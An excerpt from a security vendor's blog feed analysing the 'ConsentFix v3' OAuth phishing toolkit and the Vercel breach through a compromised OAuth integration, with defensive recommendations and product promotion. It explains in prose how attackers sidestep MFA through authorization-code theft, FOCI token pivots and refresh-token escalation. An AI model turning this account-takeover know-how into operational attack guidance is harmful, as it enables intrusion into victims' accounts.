decades. <a href="https://pushsecurity.com/blog/browser-extension-management-guide/"><u>In Push, it works like building a firewall rule</u></a>: a global block rule at the bottom that disables all browser extensions, with explicit exceptions above it for approved tools. Users who attempt to install unapproved extensions see a block screen.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/2hFpE2X60adttS6vAtyUIO/963e14eb2899163f583e7342db3f0650/image5.png" alt="This extension is not approved for business use"/><figcaption>Employees will see a customizable block screen when trying to use extensions that are not approved.</figcaption></figure><p><b>The key insight is that every extension you don&#39;t </b><i><b>really </b></i><b>need, but haven&#39;t blocked, is attack surface that exists for no business reason. </b>Most organizations are surprised by how many of the extensions in their environment are unused, forgotten, or have readily available alternatives. Reducing the population of installed extensions to only the ones that serve a genuine work purpose is the single most effective thing you can do — and it doesn&#39;t require a risk score to accomplish.</p><h2>Monitor for changes that indicate weaponization</h2><p>Once you have a controlled baseline, the risk shifts from unmanaged installations (those are blocked) to changes in the extensions you&#39;ve already approved. These are the signals that map to real-world attack patterns and serve as leading indicators of weaponization:</p><ul><li><p><b>Ownership changes</b> — an extension changing hands is one of the most reliable precursors to supply chain compromise, as demonstrated by the <a href="https://thehackernews.com/2026/03/chrome-extension-turns-malicious-after.html"><u>QuickLens and ShotBird attack</u></a><u>s</u> and the acquired-extension clusters documented by <a href="https://gitlab-com.gitlab.io/gl-security/security-tech-notes/threat-intelligence-tech-notes/malicious-browser-extensions-feb-2025/"><u>GitLab</u></a>.</p></li><li><p><b>Developer contact information changes</b> — often an early indicator that an extension has been sold or that a developer account has been taken over.</p></li><li><p><b>Permission escalations in updates</b> — a previously-scoped extension suddenly requesting broad host permissions or cookie access.</p></li><li><p><b>Delisting from the web store</b> — can indicate that the store&#39;s review process has caught something, or that the developer has abandoned the extension.</p></li><li><p><b>Known malicious classification</b> — when an extension is confirmed as weaponized or linked to an active campaign through threat intelligence. (<a href="https://pushsecurity.com/blog/browser-extension-management-guide/"><u>Push blocks known-bad extensions automaticall</u></a><u>y</u>).</p></li></ul><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/31TgJEkYVua0s5ecwgQPmM/efb0a7048f9ecc9eacf2e29b7b2233bc/image1.png" alt="Push automatically blocks known-bad browser extensions."/><figcaption>Push automatically blocks known-bad browser extensions.</figcaption></figure><p>To make this concrete: Push emits structured events via webhook whenever extension metadata changes that captures all of the variables above. These these can be fed directly into your SIEM or SOAR workflows, making it easy for security teams to detect when a meaningful change occurs. An ownership change on its own warrants investigation; an ownership change paired with a new version and added permissions warrants an immediate block pending review.</p><p>Push detects these changes in real time and can automatically block an extension when a meaningful risk indicator fires, before the damage propagates. This is fundamentally different from a periodic risk score: rather than attempting to predict which extensions might go bad based on static attributes, Push monitors for the specific events that precede or accompany weaponization in the attacks we&#39;ve actually observed.</p><hr/><h1><b>The bottom line</b></h1><p>Traditional extension risk scores — based on permissions, store metadata, code analysis, and developer reputation — are poor predictors of which extensions will actually compromise you. The extensions involved in the major breaches of the past 18 months consistently scored as normal or low-risk right up until the moment they were weaponized. If your extension management strategy is built around &quot;identify the riskiest extensions and remove them,&quot; the extension that gets you is the one that wasn&#39;t on the list.</p><p>Browser extensions are software. They&#39;re third-party code running with significant privilege inside the browser, capable of reading and modifying page content, accessing cookies and session tokens, and interacting with virtually every web application your employees use. Like any other software dependency — <a href="https://pushsecurity.com/blog/unpacking-the-vercel-breach/"><u>OAuth integrations</u></a> being another relevant recent example in public breaches — each one expands your attack surface. </p><p>The principles behind managing browser extensions need to be the same as any other software — default-deny, build an allowlist, monitor and maintain that allowlist. This might trigger some PTSD for security teams, but it shouldn’t. On the endpoint, application allowlisting has always been operationally painful — diverse workflows, unpredictable application needs, and the overhead of vetting every binary made it impractical for most organizations outside of high-security environments. In the browser, it’s not that serious. You’re not going to brick an endpoint by blocking a third-party browser extension. </p><p><b>The browser is one of the few environments where an allowlisting approach is both technically feasible and operationally lightweight: use it to your advantage. </b></p><hr/><p>Push detects and blocks malicious browser extensions, and gives security teams the controls to <a href="https://pushsecurity.com/blog/browser-extension-management-guide/"><u>enforce an extension allowlist and monitor for risky changes</u></a> across every browser in the environment. Combined with protection against AiTM phishing, ClickFix attacks, session hijacking, and stolen credentials — plus proactive hardening for ghost logins, SSO coverage gaps, MFA gaps, and vulnerable passwords — Push provides browser-native visibility and control where it matters most.</p><p>To learn more about Push, <a href="https://pushsecurity.com/resources/product-brochure">check out our latest product overview</a>, <a href="https://pushsecurity.com/product-demo/">view our demo library</a>, or <a href="https://pushsecurity.com/demo">book some time with one of our team for a live demo</a>.</p>]]></content:encoded>
    </item>
    <item>
      <title>ConsentFix v3: Analyzing a new criminal toolkit</title>
      <link>https://pushsecurity.com/blog/consentfix-v3-analyzing-a-new-toolkit</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/consentfix-v3-analyzing-a-new-toolkit</guid>
      <pubDate>Thu, 23 Apr 2026 00:00:00 GMT</pubDate>
      <dc:creator>Dan Green</dc:creator>
      <category>Browser-based attacks</category>
      <category>Detection &amp; response</category>
      <description>Investigating a new criminal toolkit for ConsentFix being promoted on criminal forums. </description>
      <content:encoded><![CDATA[<p>In December 2025, we uncovered a state-sponsored campaign linked to Russian state-affiliated APT29 that used a new technique we called <a href="https://pushsecurity.com/blog/consentfix/"><u>ConsentFix</u></a>. This technique merged ClickFix-style social engineering with OAuth consent phishing to hijack Microsoft accounts. Effectively, ConsentFix is a browser-native attack that results in account takeover, without the downside of needing to touch the endpoint like typical ClickFix (really, the point that it&#39;s most likely to be detected and blocked). </p><p>The quick 101 is that victims are tricked into copy-and-pasting a legitimate Microsoft URL into the phishing page. This URL contains an OAuth authorization code that the attacker uses to sign in to a first-party Microsoft application like Azure CLI — specifically targeting apps with known Conditional Access exclusions. </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/tbetqlx85alVSg3LbHw8m/793ee588bd0347f6d1497b882b4a9f3f/image6.png" alt="ConsentFix attack breakdown: The victim is tricked into copy-and-pasting a URL containing OAuth key material into a phishing page."/><figcaption>ConsentFix attack breakdown: The victim is tricked into copy-and-pasting a URL containing OAuth key material into a phishing page.</figcaption></figure><p>At the end of the attack chain, the attacker is effectively granted API access to the victim&#39;s Entra account, while sidestepping MFA (even passkeys), device compliance checks, and in some cases conditional access controls (depending on the application ID targeted by the attacker). </p><p>This attack is best understood as post-authentication. If the victim is already signed in to Microsoft in their browser, they simply need to select their account name from a drop-down menu. There’s almost no friction — no credential entry or MFA checks. This is very similar to <a href="https://pushsecurity.com/blog/device-code-phishing/"><u>device code phishing</u></a>, another OAuth-based phishing technique, which we’ve seen increase 37x this year. More on that later. </p><p>It didn’t take long for security researchers to jump on this new technique. Lots of contributors rallied round the security recommendations (which we covered in a <a href="https://pushsecurity.com/blog/consentfix-debrief/"><u>follow-up blog post</u></a>) but the most notable contribution came from John Hammond, who took the attacker’s implementation and said “I can do better”. His v2 replaced a somewhat clunky implementation with a slick drag-and-drop function. But now, attackers have taken it one step further.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/1bjvJgwJQYYITray4cgquD/056744beab8fd24153b1c42b73090aeb/consentfix_v2.gif" alt="John Hammond showed off a slick new ConsentFix implementation."/><figcaption>John Hammond showed off a slick new ConsentFix implementation.</figcaption></figure><p>We recently joined forces with John in a webinar where we showed off ConsentFix along with a host of other browser-based attacks. If you joined us, you’ll have already had a quick look at what we’re about to talk about below! <a href="https://pushsecurity.com/resources/browser-attacks-why-browser-new-battleground"><u>You can watch it on-demand here.</u></a> And you can watch John’s follow up on <a href="https://www.youtube.com/watch?v=T3oVdPCMDJw"><u>ConsentFix v3</u></a> here — definitely worth a watch as always! </p><hr/><h1><b>Introducing: ConsentFix v3</b></h1><p>The latest development is that a member of the XSS criminal forum, a site strongly suspected to have <a href="https://flare.io/learn/resources/blog/state-of-the-dark-web-2026"><u>Russian state involvement</u></a>, has released a new tool “ConsentFix v3”, building on the v1 we saw in the wild, and John’s v2. </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/KSVQYgv1VDhIF19jUcaOc/81fc5771fd4ce4fbe38d0d138f7970a6/image3.png" alt="XSS forum post on ConsentFix v3"/><figcaption>XSS forum post on ConsentFix v3</figcaption></figure><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/stbiG200DHN4huH6iaCQg/d1db13d4e04c4c528ce35320b05f4d3d/image12.png" alt="Description of ConsentFix v3 complete with summary video."/><figcaption>Description of ConsentFix v3 complete with summary video.</figcaption></figure><p>It looks like broader cybercriminals are starting to take note of ConsentFix, and with the release of public tools like this one, it could be about to go mainstream — like <a href="https://pushsecurity.com/blog/device-code-phishing/">device code phishing</a> has this year. </p><p>Let’s take a closer look at some of the more interesting details of the ConsentFix v3 implementation before considering the bigger picture.  </p><h2><b>ConsentFix v3 under the hood</b></h2><p>The first thing that jumps out is just how detailed this forum post is. It reads like a security vendor blog post. It walks through the key technical concepts that the reader needs to know, breaking down OAuth grants, consent phishing, refresh tokens, and FOCI (or &#39;Family of Client IDs&#39; — basically, the feature that allows attackers to use a refresh token obtained for one Microsoft app to be exchanged for access tokens to other FOCI apps without re-authentication). It then walks through the history of ClickFix and ConsentFix before providing step-by-step guidance for users. </p><p>ConsentFix v3 allows users to instrument the entire attack chain, enabling users to spin up ConsentFix infrastructure, create believable personas with which to interact with victims, craft and manage email campaigns, and automate the process of exchanging the captured OAuth token for session and refresh tokens to establish access to the compromised account. </p><p>A combination of SaaS and open-source tools are used to perform the attack, including Cloudflare Workers for hosting, ZoomInfo for target identification, Dropbox for PDF hosting, and Pipedream as an exfiltration channel (effectively creating a webhook to automatically exchange the OAuth material in the URL for a refresh token). They also use hacker tools like SpecterPortal for post exploitation activity.</p><hr/><h1><b>Why attackers are turning to OAuth-based attacks</b></h1><p>Attackers are increasingly turning to OAuth based techniques in 2026. Not only are “legit” OAuth connections being abused in supply chain attacks, but attacks targeting OAuth mechanisms have significantly increased with the rise of <a href="https://pushsecurity.com/blog/device-code-phishing/"><u>device code phishing</u></a>. This is because:</p><ul><li><p>OAuth attacks defeat standard access controls (including passkeys)</p></li><li><p>It’s very low friction, and less likely that users will identify it as phishing (see examples below)</p></li></ul><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/1bjvJgwJQYYITray4cgquD/056744beab8fd24153b1c42b73090aeb/consentfix_v2.gif" alt="John Hammond showed off a slick new ConsentFix implementation."/><figcaption>John Hammond showed off a slick new ConsentFix implementation.</figcaption></figure><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/2zbjCCqXRMTvaOr6Xpx2BJ/ccb3000b043b3bbc11a6d2315e66f6f1/Copy_of_Device_code_login_completion.gif" alt="Device code phishing kit example"/><figcaption>Device code phishing kit example.</figcaption></figure><p>From the user’s perspective, these aren’t situations that users are trained to treat as suspicious. In one case, the victim copies a URL (or simply drag-and-drops a box on the page). In another, they enter a short passcode that’s visible on the page. </p><p>Both are using pop-up windows that look very convincing — and point to legitimate Microsoft pages/URLs. Even users scrutinizing the domain won’t see anything out of place. And as you can see, if the user is already signed into their Microsoft account in the browser, there’s no credential entry or MFA checks to pass through. Simply select your account from the drop down menu and … that’s it.</p><p>This unfamiliarity is the same reason that attacks like ClickFix have been so successful. In general, convincing social engineering — well crafted comms, legit-looking pages hosted on trusted sites — combined with unfamiliar payloads makes for a clever attack. And when these attacks play out entirely in the browser (circumventing endpoint controls) and sidestep identity controls, the impact is dialled up even further. </p><hr/><h1><b>How ConsentFix and device code phishing overlap</b></h1><p>It was only ever going to be a matter of time before ConsentFix was adopted by the mass market. But these things don’t always happen particularly fast. <a href="https://pushsecurity.com/blog/device-code-phishing/"><u>Device code phishing</u></a> is probably the best example of this — it’s been a known technique since 2021, but it took until this year to enter mainstream adoption. A big part of that has been the availability of criminal toolkits, and also the rise in AI-assisted capabilities for tool creation (clearly at play here too). The similarity with device code phishing doesn’t end there. </p><p>Both ConsentFix and device code phishing are OAuth attacks. They both find ways of bypassing the standard login procedure (and controls) by targeting different authorization flows, but with a similar outcome and the same advantages to an attacker. Device code phishing exploits the device authorization grant (<a href="https://datatracker.ietf.org/doc/html/rfc8628"><u>RFC 8628</u></a>). ConsentFix exploits the authorization code grant (<a href="https://datatracker.ietf.org/doc/html/rfc6749#section-4.1"><u>RFC 6749</u></a>) as implemented for native/desktop apps with localhost redirects. </p><p>The post-compromise paths are essentially identical because the tokens you get are determined by which app you target, what scopes it has, and the victim user’s permissions, not by which OAuth flow you used to obtain them. The authorization code flow and the device code flow are just different front doors into the same token issuance system.</p><p>The different application IDs that attackers can target here vary a little per technique based on the auth flows supported. FOCI apps present the broadest utility (particularly for non-admin targets) and can be targeted via both device code phishing and ConsentFix. In practice, this means an attacker who phishes a token for one app can silently pivot to access Outlook, Teams, OneDrive, SharePoint, and so on via API.</p><p>If they want to take it even further, they can use the well-known <a href="https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/"><u>Primary Refresh Token (PRT) escalation technique</u></a> to get seamless SSO across <i>all</i> Entra ID-connected applications and web services (basically upgrading to normal browser-level access). This requires that you specifically target the <b>Microsoft Authentication Broker</b> application, chaining it into a new device registration in the victim&#39;s environment. (This is the method that <a href="https://www.microsoft.com/en-us/security/blog/2025/02/13/storm-2372-conducts-device-code-phishing-campaign/"><u>Storm-2372</u></a> used in a major 2025 device code phishing campaign.)</p><hr/><h1><b>The verdict: An interesting sign of what’s coming, but maybe not the final form</b></h1><p>It’s clear that ConsentFix v3 isn’t exactly an industrialized PhaaS-scale offering. It’s probably closer to a red team-esque proof of concept. But it is a good example of how attackers could operationalize ConsentFix campaigns using largely off-the-shelf tooling and legit SaaS tools. And an indicator of what might be coming soon. </p><hr/><h1><b>Security recommendations</b></h1><p>To be able to tackle modern attacks like ConsentFix that occur entirely within the browser context, it is vital that organizations look to monitor the browser as a detection surface, hunt for signs of malicious activity, and block attacks in real-time — in the same way that you would expect EDR to work for endpoint attacks. We’ll talk about how we do this below, but first here’s some general recommendations. </p><h2><b>Microsoft ecosystem</b></h2><p>Despite the similarity with device code phishing, the <a href="https://techcommunity.microsoft.com/blog/microsoft-entra-blog/new-microsoft-managed-policies-to-raise-your-identity-security-posture/4286758"><u>primary recommendation from Microsoft for device code attacks</u></a> — disable the device code flow via conditional access — doesn’t apply to ConsentFix (because, as mentioned, it uses a different login flow).</p><p>For both ConsentFix and device code phishing, the <a href="https://msendpointmgr.com/2026/01/08/consentfix-quickfix/"><u>strongest recommendation</u></a> is to create Service Principals for each of the vulnerable apps and restrict the users that are authorized to access them to reduce the attack surface of users that can be phished with this method.</p><p>You should also hunt in logs for relevant application IDs and resource IDs, and look for mismatches in terms of the initial access IP and subsequent activity, because while the initial login is performed by the user, subsequent actions will be performed by the attacker.  </p><p><a href="https://entrascopes.com/?foci=true"><u>This is a great resource</u></a> from Fabian Bader and Dirk-jan Mollema enabling you to search through first-party Microsoft apps, resource IDs, FOCI apps, apps with conditional access exclusions, and those vulnerable to ConsentFix attacks. You’d need to go through the process of creating Service Principals for them and assign specific users based on required access. You’d want to do this for all of the apps that come with pre-consented permissions, conditional access exclusions, FOCI, and so on. But of course if an assigned user gets phished, the attack can still succeed. </p><h2><b>Beyond Microsoft — Google, GitHub, Salesforce, AWS</b></h2><p>It’s worth calling out that these recommendations are Microsoft specific. While in-the-wild exploitation has focused on Microsoft, GitHub, Salesforce, AWS and others are also impacted by device code phishing, supporting device code flow either as a primary or fallback mechanism (Google less so due to inherent restrictions on scopes authorized in the context of device code logins). </p><p>Similarly, ConsentFix principles can be applied beyond Microsoft too. The core requirement is that an OAuth code ends up in a location the victim can manually see and share, e.g. a localhost redirect where no listener is present to complete the handshake. Google Cloud CLI, GitHub CLI, and others support the auth code grant and allow localhost as a redirect URI. </p><hr/><h1><b>How Push can help</b></h1><p>We’re already detecting and blocking both ConsentFix and device code phishing attacks as they target users in their web browser. When a page matches our detections for a device code or ConsentFix phishing kit (not limited to things like known-bad IPs and domains, but DOM-level analysis of the web page) Push detects and blocks it. Unlike an SWG or RBI type solution, Push analyzes every web page in every browser session and tab, in real time, with no latency. </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/2losZN7HBexdcDRlMGYMA6/0c24a2abdcc154c9faa33750db1eaed0/image4.png" alt="When users attempt to visit malicious sites that trigger our detections, they are redirected to a safe URL and shown a customizable block screen."/><figcaption>When users attempt to visit malicious sites that trigger our detections, they are redirected to a safe URL and shown a customizable block screen.</figcaption></figure><p>Using Push you can also <a href="https://pushsecurity.com/help/can-i-use-push-to-help-protect-against-device-code-phishing-scenarios/"><u>configure in-browser warnings</u></a> whenever a user accesses a URL used for device code logins, across any app that supports them. This provides universal, last-mile protection against even ‘zero-day’ device code phishing attacks using previously unidentified toolkits.  </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/21kgdVDgvY6yI4cUzZ5eth/51fbb6782e10e4a23b37b020d8b288de/image10.png" alt="Device code phishing customizable warning banner."/><figcaption>Device code phishing customizable warning banner.</figcaption></figure><p>When a user visits those URLs, Push will also emit a webhook event that the banner was shown and acknowledged. If a user opts to proceed, you can treat this as a high-fidelity alert for your security team to investigate, providing app-agnostic telemetry that may not already be provided in your logs from that particular vendor. You can also simply use Push to block users from accessing these pages if you’re confident that disruption won’t be caused. </p><h2><b>Learn more about Push</b></h2><p>Push Security&#39;s browser-based security platform detects and blocks browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, device code phishing, ClickFix, and session hijacking. You don&#39;t need to wait until it all goes wrong either — you can use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, risky OAuth integrations, and more to harden your attack surface.</p><p>To learn more about Push, <a href="https://pushsecurity.com/resources/product-brochure"><u>check out our latest product overview</u></a>, <a href="https://pushsecurity.com/product-demo/"><u>view our demo library</u></a>, or <a href="https://pushsecurity.com/demo"><u>book some time with one of our team for a live demo</u></a>.</p>]]></content:encoded>
    </item>
    <item>
      <title>Unpacking the Vercel breach: A cautionary tale for Shadow AI and OAuth sprawl</title>
      <link>https://pushsecurity.com/blog/unpacking-the-vercel-breach</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/unpacking-the-vercel-breach</guid>
      <pubDate>Thu, 23 Apr 2026 00:00:00 GMT</pubDate>
      <dc:creator>Dan Green</dc:creator>
      <category>Browser-based attacks</category>
      <category>Detection &amp; response</category>
      <description>In April 2026, Vercel was compromised via an OAuth app integrated into their Google Workspace tenant stemming from a compromised third-party AI SaaS provider.</description>
      <content:encoded><![CDATA[<p>This week, a user going by the name of “ShinyHunters” (though allegedly not <a href="https://pushsecurity.com/blog/scattered-lapsus-hunters/"><u>actual ShinyHunters</u></a>, but someone imitating them in an attempt to trade off their credibility) posted on a breach forum claiming access keys, source code, and database data stolen from cloud development platform provider <b>Vercel</b>. </p><p>This happened because a Vercel employee had connected an AI app, Context.ai, into their Google Workspace tenant. When Context.ai was compromised — <a href="https://www.infostealers.com/article/breaking-vercel-breach-linked-to-infostealer-infection-at-context-ai/"><u>allegedly the result of an infostealer infection from an employee searching for Roblox cheats</u></a> — the attacker was able to leverage OAuth tokens stored in Context.ai’s Supabase platform to access downstream customer accounts (pointing to a heavily permissioned victim, probably a developer, possibly even a <a href="https://pushsecurity.com/blog/browser-sync-attacks-where-personal-account-hacks-lead-to-corporate-breaches/"><u>personal device with access to corp credentials</u></a>). </p><p>This access included a Vercel employee’s Google Workspace account. This particular user had significant access to data and secrets in Vercel’s systems, including internal dashboards, employee records, API keys, NPM tokens, and GitHub tokens, which the attacker was able to exfiltrate, holding Vercel to ransom for $2 million. </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/63DxqlpuTD1qIjsSh2gXI2/f1da745b30082c52362c4eb875737548/Screenshot_2026-04-28_at_09.07.41.png" alt="Vercel breach summary"/><figcaption>Overview of the breach and Vercel's response.</figcaption></figure><hr/><h1><b>How did this happen, and what could have stopped it?</b></h1><p>From Vercel’s perspective, this attack could have been avoided had their employees been blocked from adding new OAuth integrations without admin approval (a toggle in their Google admin panel, and an essential control in a well-configured environment). Or, if the integration had been flagged in a routine audit and removed. </p><p>An all-too-common tale in the modern enterprise is the SaaS app that was trialled by a single employee, lightly used, integrated with core app tenants, and forgotten about — adding an invisible node to the organization’s attack surface.</p><p>It probably should have been removed, too. The particular OAuth app that was connected into the environment was a deprecated “AI Office Suite” product intended for consumer use. <a href="https://context.ai/security-update">According to Context.ai</a>, Vercel aren’t even a registered customer — adding more evidence that this was probably the result of a self-service trial that was subsequently forgotten about. That consumer product has also since been replaced by an enterprise product. But for whatever reason, the access hadn’t been revoked (from either side). </p><p>The elephant in the room is that Context.ai is an AI app. Most organizations are rightly nervous about employees adding unapproved AI SaaS into their environment. Having employees use shadow AI in the form of LLMs is one thing — users uploading sensitive data to unapproved apps or external tenants being the key concern. But OAuth grants are even more dangerous. Because if that app or vendor is compromised, the apps and accounts you’ve integrated it with are also at risk — which is what was exploited here. </p><h2><b>Where’s the fault?</b></h2><p>It’s easy to point fingers here. There are multiple control gaps and failures for both parties. Vercel should have disabled OAuth grants without admin approval, and regularly audited the connections in their environment. From a vendor&#39;s perspective, they could have also default applied a control that <a href="https://vercel.com/kb/bulletin/vercel-april-2026-security-incident"><u>prevents secret environment variables from being read</u></a> — which would have significantly reduced the impact to Vercel customers from the data breach. </p><p>Context.ai comes off worse. They could and should have had better separation of accounts and privileges — and if true, their users really shouldn’t be downloading Roblox scripts on devices they use for work access. It’s important to say <i>if true</i> here, but the prospect of third parties accessing your environment from insecure devices that they use for gaming is the stuff of nightmares for enterprise security and compliance teams.</p><p>You definitely don’t want to be Context.ai in this scenario. The reputational harm could be pretty significant, and is a wake-up call for other SaaS vendors to check that their house is in order. But although Vercel have responded quickly and transparently to the incident, this could only really have happened as a result of technical and procedural control gaps on their end.</p><p>It’s worth taking a step back and looking at the bigger picture here — and how these issues might impact your organization too. </p><hr/><h1><b>Shadow AI is still just shadow SaaS – but the AI scramble is a force multiplier</b></h1><p>Shadow IT, and in particular shadow SaaS, is not a new problem. Most organizations run heavily (or exclusively) on SaaS, accessed in the browser, with hundreds of apps per enterprise. Unmanaged, self-adopted apps have been a thorn in the side of security teams for some time. </p><p>There are essentially four kinds of shadow IT to be wary of in the context of AI apps:</p><ul><li><p><b>Shadow apps:</b> Apps that employees have signed up to and are using for business purposes without business approval. This includes apps signed up to with a corporate account or personal account. </p></li><li><p><b>Shadow tenants:</b> Apps that employees are accessing with personal accounts, essentially creating shadow tenants outside of your organization’s control — even if you’ve approved the app itself.</p></li><li><p><b>Shadow extensions:</b> Many AI apps come with an extension counterpart, along with countless third-party extensions that are either untrustworthy or downright malicious. Browser extensions add another angle to the equation by presenting visibility beyond the application into browser activity. </p></li><li><p><b>Shadow integrations:</b> OAuth connections across apps that aren’t known or approved. Even if an app itself is approved, plugging that app directly into your primary enterprise apps — with all the sensitive data and functionality therein — isn&#39;t necessarily also approved.  </p></li></ul><p>In the Vercel case, we’re talking specifically about shadow integrations. But all of these present a key risk to your organization. </p><h2><b>The web of OAuth sprawl spans way beyond Google and Microsoft </b></h2><p><b>On average we see 17 unique AI app integrations per organization in Microsoft and Google alone</b>. If you consider that most organizations have probably approved 1 or 2 max for business use, and may have approved none at all for app-to-app OAuth connectivity, that’s quite a significant difference. </p><p>The number of connections outside of these core platforms is significantly higher. Just think how the typical AI app operates. If you want it to be able to effectively automate workflows — pull data from one app, aggregate and analyze it in another, present that information in a report, dashboard, or presentation, and then distribute it — that’s a fair few integrations in just one workflow. MCP connections use OAuth to achieve this interconnectivity in the same way as any other SaaS app.</p><p>We used to talk about automation apps like Zapier as being a goldmine for attackers. Well, AI apps are on their way to being even more interconnected, more frequently used, and more flexible in terms of how attackers can abuse them. </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/6u0rnGPxUjcFSxdbsIcNz0/b093fbd09053a6a764b03af9ba56e5df/Screenshot_2026-04-23_at_20.41.29.png" alt="Illustrative example of SaaS OAuth sprawl. AI apps are highlighted orange."/><figcaption>Illustrative example of SaaS OAuth sprawl, from primary enterprise cloud, to core apps, to wider SaaS. AI apps are highlighted orange.</figcaption></figure><h2><b>A note on OAuth configuration complexity</b></h2><p>A common misconception is that when a regular user consents to an OAuth app (let&#39;s use Google Workspace as the example) the app only gets access to the things they can directly access. Technically that&#39;s true — the access is scoped to that user&#39;s permissions. But in practice, the blast radius is almost always bigger than people think.</p><p>The scope includes shared drives, shared calendars, documents shared with them, and any other collaborative resources. A single well-permissioned user (think: developer with access to secrets, dashboards, and internal tooling) is more than enough to cause serious damage through a single OAuth grant. </p><p>The scopes themselves are often deceptively broad. An app requesting https://www.googleapis.com/auth/drive gets full read/write access to everything the user can see in Drive — not just their personal files. And the blast radius is further contingent on the data and user permission hygiene in these broader environments. </p><p>So if your environment hasn&#39;t got cleanly separated access and permissions for different users and groups, an attacker compromising a &quot;normal&quot; user account can end up with extensive access. You don&#39;t need tenant-wide admin access when a normal user&#39;s access already spans the crown jewels.</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/R2st9zXI0vB5Mu9Co2pA1/dc1843bc5be5da60252c9c7ea7caf677/oauth-blast-radius-push_1__4_.png" alt="A normal employee in a poorly governed org can expose as much or more data than a developer in a well-governed one."/><figcaption>A normal employee in a poorly governed org can expose as much or more data than a developer in a well-governed one.</figcaption></figure><h2><b>Unsurprisingly, OAuth breaches are stacking up</b></h2><p>Widespread OAuth interconnectedness isn’t just an AI app problem. Attackers have been exploiting this for some time:</p><ul><li><p>In 2025, <a href="https://pushsecurity.com/blog/scattered-lapsus-hunters/"><u>Scattered Lapsus$ Hunters</u></a> launched OAuth-driven supply chain attacks against Salesforce and Google Workspace tenants after breaching Salesloft (specifically the <a href="https://www.bleepingcomputer.com/news/security/shinyhunters-claims-15-billion-salesforce-records-stolen-in-drift-hacks/"><u>Salesloft Drift</u></a> platform) and <a href="https://www.bleepingcomputer.com/news/security/salesforce-investigates-customer-data-theft-via-gainsight-breach/"><u>Gainsight</u></a>. In total, over 1000 organizations were impacted, including Google, Cloudflare, Rubrik, Elastic, Proofpoint, JFrog, Zscaler, Tenable, Palo Alto Networks, CyberArk, BeyondTrust, Qualys, and many more, with over 1.5B records stolen. </p></li><li><p>More recently, Snowflake customers were impacted after a <a href="https://www.bleepingcomputer.com/news/security/snowflake-customers-hit-in-data-theft-attacks-after-saas-integrator-breach/"><u>breach at data anomaly detection company Anodot</u></a> where the attacker attempted to leverage the stolen authentication tokens to access Salesforce data, with <a href="https://www.bleepingcomputer.com/news/security/stolen-rockstar-games-analytics-data-leaked-by-extortion-gang/"><u>Rockstar</u></a> a high-profile victim of the breach (again linked to Scattered Lapsus$ Hunters). </p></li></ul><p>Not only are attackers abusing existing (legitimate) OAuth connections as part of supply chain attacks, but they’re using OAuth-focused phishing as the front door to victim environments. Last year’s Salesforce campaign began with <a href="https://pushsecurity.com/blog/device-code-phishing/"><u>device code phishing</u></a>, where attackers tricked victims into registering an attacker-controlled app into their Salesforce tenant, granting full API access for mass data exfiltration.</p><hr/><h1><b>Infostealers continue to drive corporate breaches</b></h1><p>While unverified, Hudson Rock’s case for an infostealer breach being the root cause of the Context.ai breach seems believable. Infostealer infections have been one of the leading security threats for some time, fuelling breaches powered by stolen credentials and session tokens.</p><p>With the assumed rise in MFA coverage, it’s often surprising to security teams that stolen credentials are still a problem. <b>But of the last million logins we saw, 1 in 4 were password logins (not SSO), 2 in 5 were not protected by MFA, and 1 in 5 used a weak, breached, or reused password. </b>Plenty of scope for abuse. </p><p>Stolen session tokens are even more valuable to attackers, enabling them to bypass authentication controls by replaying the token in their own browser. In theory, they should only be valid for a limited timeframe, but in practice this can be as many as 90 days, and sometimes indefinite. </p><p>In this case, it seems likely that the compromised device was a developer machine (given the access to Supabase), or potentially even a personal device (given they were installing Roblox cheats…). This is relevant because these personal, developer, and BYOD machines are often less secure — developer machines are often exempt from EDR monitoring or significantly tuned-down (too noisy), while personal devices naturally lack enterprise security software.</p><p>If you’re wondering how a personal device could result in corporate credential leakage, browser syncing (<a href="https://pushsecurity.com/blog/browser-sync-attacks-where-personal-account-hacks-lead-to-corporate-breaches/"><u>where users sign into their personal account in a corporate browser</u></a>) can lead to this exact scenario. And given Vercel’s potentially lacking controls around OAuth integrations in their Workspace, it’s also possible that browser syncing had not been identified as a security risk and disabled. </p><p>The 2025 Verizon DBIR reported that 54% of all ransomware attacks traced back to infostealer-enabled credential theft. <b>46% of systems with compromised corporate credentials were non-managed devices. </b></p><p>We’ve also seen an uptick in developer-oriented phishing and malvertising campaigns. The <a href="https://pushsecurity.com/blog/installfix/"><u>InstallFix campaign</u></a> we identified, intercepting users as they attempt to install AI tools like Claude Code and NotebookLM, is an example of this — and also another way that attackers are capitalizing on AI hype. </p><hr/><h1><b>Advice for security teams</b></h1><p>There are some immediate next steps that we’ll quickly summarize here, as they&#39;ve already been covered in wider reporting. If you’re a Vercel customer, you should urgently rotate every credential stored as a non-sensitive variable that could have been exposed, enable the sensitive variable feature toggle, and monitor your account for anomalous activity. And if you’re using the specific Context.ai integration, you need to revoke it ASAP and begin a full audit of the connected accounts, both inside Workspace and broader connected apps (this isn’t that easy, as we’ll highlight in a moment). </p><p><b>OAuth App:</b> 110671459871-30f1spbu0hptbs60cb4vsmv79i7bbvqj.apps.googleusercontent.com</p><p>Taking a step back, organizations really need to get their arms around OAuth integrations in their environment. A default-deny approach to allowing users to consent to new integrations, and routinely auditing the ones already in your environment to ensure they’re still definitely required, is essential. Each integration expands your attack surface and could potentially grant an attacker extensive access to your environment. This default-deny approach isn&#39;t exactly a new concept for security teams and is the same in principle as what we recently advised for <a href="https://pushsecurity.com/blog/browser-extension-management-guide/"><u>browser extension management</u></a>. 